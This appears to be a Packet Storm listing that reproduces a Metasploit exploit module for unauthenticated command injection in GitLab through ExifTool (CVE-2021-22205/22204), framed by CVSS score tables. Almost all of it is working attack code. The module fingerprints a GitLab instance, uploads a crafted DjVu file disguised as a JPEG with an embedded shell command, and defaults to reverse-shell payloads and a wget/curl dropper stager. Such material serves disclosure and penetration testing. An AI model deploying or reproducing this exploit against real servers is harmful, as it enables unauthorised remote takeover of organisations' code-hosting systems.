Lucene search

K
packetstormWilliam BowlingPACKETSTORM:164768
HistoryNov 04, 2021 - 12:00 a.m.

GitLab Unauthenticated Remote ExifTool Command Injection

2021-11-0400:00:00
William Bowling
packetstormsecurity.com
274

9.9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',  
'Description' => %q{  
This module exploits an unauthenticated file upload and command  
injection vulnerability in GitLab Community Edition (CE) and  
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,  
and 13.8.8.  
  
Exploitation will result in command execution as the git user.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'William Bowling', # Vulnerability discovery and CVE-2021-22204 PoC  
'jbaines-r7' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-22205' ], # GitLab  
[ 'CVE', '2021-22204' ], # ExifTool  
[ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],  
[ 'URL', 'https://hackerone.com/reports/1154542' ],  
[ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],  
[ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]  
],  
'DisclosureDate' => '2021-04-14',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => {  
'Space' => 290,  
'DisableNops' => true,  
'BadChars' => '#'  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_openssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'MeterpreterTryToFork' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def upload_file(file_data, timeout = 20)  
random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"  
multipart_form = Rex::MIME::Message.new  
multipart_form.add_part(  
file_data,  
'image/jpeg',  
'binary',  
"form-data; name=\"file\"; filename=\"#{random_filename}\""  
)  
  
random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))  
print_status("Uploading #{random_filename} to #{random_uri}")  
send_request_cgi({  
'method' => 'POST',  
'uri' => random_uri,  
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",  
'data' => multipart_form.to_s  
}, timeout)  
end  
  
def check  
# Checks if the instance is a GitLab install by looking for the  
# 'About GitLab' footer or a password redirect. If that's successful  
# a bogus jpg image is uploaded to a bogus URI. The patched versions  
# should never send the bad image to ExifTool, resulting in a 404.  
# The unpatched versions should feed the image to the vulnerable  
# ExifTool, resulting in a 422 error message.  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/users/sign_in')  
})  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
# handle two cases. First a normal install will respond with HTTP 200.  
# Second, if the root password hasn't been set yet then this will  
# redirect to the password reset page.  
unless (res.code == 200 && res.body.include?('>About GitLab<')) ||  
(res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))  
return CheckCode::Safe('Not a GitLab web interface')  
end  
  
res = upload_file(rand_text_alphanumeric(6..32))  
unless res  
return CheckCode::Detected('The target did not respond to the upload request.')  
end  
  
case res.code  
when 422  
if res.body.include?('The change you requested was rejected.')  
return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')  
end  
when 404  
if res.body.include?('The page could not be found')  
return CheckCode::Safe('The error response indicates ExifTool was not run.')  
end  
end  
  
return CheckCode::Detected  
end  
  
def execute_command(cmd, _opts = {})  
# printf needs all '\' to be double escaped due to ExifTool parsing  
if cmd.start_with?('printf ')  
cmd = cmd.gsub('\\', '\\\\\\')  
end  
  
# header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.  
# The 'cmd' variable is sandwiched in a qx## function.  
payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\  
"\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\  
"\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\  
"CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\  
"\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\  
"\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"  
payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)  
  
res = upload_file(payload_header + cmd + payload_trailer, 5)  
  
# Successful exploitation can result in no response (connection being held open by a reverse shell)  
# or, if the command executes immediately, a response with a 422.  
if res && res.code != 422  
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")  
end  
  
print_good('Exploit successfully executed.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# payload is truncated by exiftool after 290 bytes. Because we need to  
# expand the printf flavor by a potential factor of 2, halve the linemax.  
execute_cmdstager(linemax: 144)  
end  
end  
end  
`

9.9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P